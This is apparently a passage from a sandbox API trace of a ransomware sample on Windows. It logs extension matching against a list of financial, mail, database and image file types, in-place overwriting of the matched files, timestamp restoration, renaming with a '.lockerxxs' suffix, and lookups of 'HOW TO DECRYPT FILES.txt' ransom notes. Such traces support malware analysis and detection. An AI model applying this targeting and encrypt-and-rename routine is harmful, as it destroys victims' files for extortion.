(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.qbm") returned 0 [0084.397] lstrlenA (lpString="*.qbm") returned 5 [0084.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.qbo") returned 0 [0084.397] lstrlenA (lpString="*.qbo") returned 5 [0084.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.qbx") returned 0 [0084.397] lstrlenA (lpString="*.qbx") returned 5 [0084.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.qba") returned 0 [0084.397] lstrlenA (lpString="*.qba") returned 5 [0084.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.qby") returned 0 [0084.397] lstrlenA (lpString="*.qby") returned 5 [0084.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.qbj") returned 0 [0084.397] lstrlenA (lpString="*.qbj") returned 5 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.ofx") returned 0 [0084.398] lstrlenA (lpString="*.ofx") returned 5 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.qif") returned 0 [0084.398] lstrlenA (lpString="*.qif") returned 5 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.mye") returned 0 [0084.398] lstrlenA (lpString="*.mye") returned 5 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.mbox") returned 0 [0084.398] lstrlenA (lpString="*.mbox") returned 6 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.eml") returned 0 [0084.398] lstrlenA (lpString="*.eml") returned 5 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.pst") returned 0 [0084.398] lstrlenA (lpString="*.pst") returned 5 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.ost") returned 0 [0084.398] lstrlenA (lpString="*.ost") returned 5 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.idx") returned 0 [0084.398] lstrlenA (lpString="*.idx") returned 5 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.dbx") returned 0 [0084.398] lstrlenA (lpString="*.dbx") returned 5 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.sql") returned 0 [0084.398] lstrlenA (lpString="*.sql") returned 5 [0084.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.mdb") returned 0 [0084.399] lstrlenA (lpString="*.mdb") returned 5 [0084.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.fdb") returned 0 [0084.399] lstrlenA (lpString="*.fdb") returned 5 [0084.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.wab") returned 0 [0084.399] lstrlenA (lpString="*.wab") returned 5 [0084.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.dat") returned 0 [0084.399] lstrlenA (lpString="*.dat") returned 5 [0084.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.txt") returned 0 [0084.399] lstrlenA (lpString="*.txt") returned 5 [0084.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.jpeg") returned 0 [0084.399] lstrlenA (lpString="*.jpeg") returned 6 [0084.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.jpg") returned 0 [0084.399] lstrlenA (lpString="*.jpg") returned 5 [0084.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", pszSpec="*.png") returned 1 [0084.399] lstrlenA (lpString="*.png") returned 5 [0084.399] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" [0084.399] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" [0084.399] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png." [0084.399] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png.lockerxxs" [0084.399] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.400] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xef00 [0084.400] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x45a91ed0, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x45a91ed0, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x45ab8030, dwHighDateTime=0x1d2faf3)) returned 1 [0084.400] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.400] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xeeda, lpOverlapped=0x0) returned 1 [0084.403] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png") returned="BBEeNd8[1].png" [0084.403] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.403] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xeeda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xeeda, lpOverlapped=0x0) returned 1 [0084.404] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.404] CloseHandle (hObject=0xa4) returned 1 [0084.404] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbeend8[1].png.lockerxxs")) returned 1 [0084.405] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45ab8030, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45ab8030, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45ab8030, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x3323, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBEewZB[1].jpg", cAlternateFileName="BBEEWZ~1.JPG")) returned 1 [0084.405] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.405] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBEewZB[1].jpg") returned 1 [0084.405] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBEewZB[1].jpg") returned 1 [0084.405] lstrcmpiA (lpString1="", lpString2="BBEewZB[1].jpg") returned -1 [0084.405] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEeNd8[1].png") returned="BBEeNd8[1].png" [0084.405] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.405] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.406] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.406] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.406] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBEewZB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" [0084.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.ems") returned 0 [0084.406] lstrlenA (lpString="*.ems") returned 5 [0084.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.db") returned 0 [0084.406] lstrlenA (lpString="*.db") returned 4 [0084.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.dbf") returned 0 [0084.406] lstrlenA (lpString="*.dbf") returned 5 [0084.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.myox") returned 0 [0084.406] lstrlenA (lpString="*.myox") returned 6 [0084.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.myo") returned 0 [0084.406] lstrlenA (lpString="*.myo") returned 5 [0084.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.qbw") returned 0 [0084.406] lstrlenA (lpString="*.qbw") returned 5 [0084.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.qbb") returned 0 [0084.406] lstrlenA (lpString="*.qbb") returned 5 [0084.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.qbm") returned 0 [0084.406] lstrlenA (lpString="*.qbm") returned 5 [0084.406] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.qbo") returned 0 [0084.406] lstrlenA (lpString="*.qbo") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.qbx") returned 0 [0084.407] lstrlenA (lpString="*.qbx") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.qba") returned 0 [0084.407] lstrlenA (lpString="*.qba") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.qby") returned 0 [0084.407] lstrlenA (lpString="*.qby") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.qbj") returned 0 [0084.407] lstrlenA (lpString="*.qbj") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.ofx") returned 0 [0084.407] lstrlenA (lpString="*.ofx") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.qif") returned 0 [0084.407] lstrlenA (lpString="*.qif") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.mye") returned 0 [0084.407] lstrlenA (lpString="*.mye") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.mbox") returned 0 [0084.407] lstrlenA (lpString="*.mbox") returned 6 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.eml") returned 0 [0084.407] lstrlenA (lpString="*.eml") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.pst") returned 0 [0084.407] lstrlenA (lpString="*.pst") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.ost") returned 0 [0084.407] lstrlenA (lpString="*.ost") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.idx") returned 0 [0084.407] lstrlenA (lpString="*.idx") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.dbx") returned 0 [0084.407] lstrlenA (lpString="*.dbx") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.sql") returned 0 [0084.407] lstrlenA (lpString="*.sql") returned 5 [0084.407] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.mdb") returned 0 [0084.407] lstrlenA (lpString="*.mdb") returned 5 [0084.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.fdb") returned 0 [0084.408] lstrlenA (lpString="*.fdb") returned 5 [0084.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.wab") returned 0 [0084.408] lstrlenA (lpString="*.wab") returned 5 [0084.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.dat") returned 0 [0084.408] lstrlenA (lpString="*.dat") returned 5 [0084.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.txt") returned 0 [0084.408] lstrlenA (lpString="*.txt") returned 5 [0084.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.jpeg") returned 0 [0084.408] lstrlenA (lpString="*.jpeg") returned 6 [0084.408] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", pszSpec="*.jpg") returned 1 [0084.408] lstrlenA (lpString="*.jpg") returned 5 [0084.408] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" [0084.408] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg" [0084.408] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg." [0084.408] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBEewZB[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS 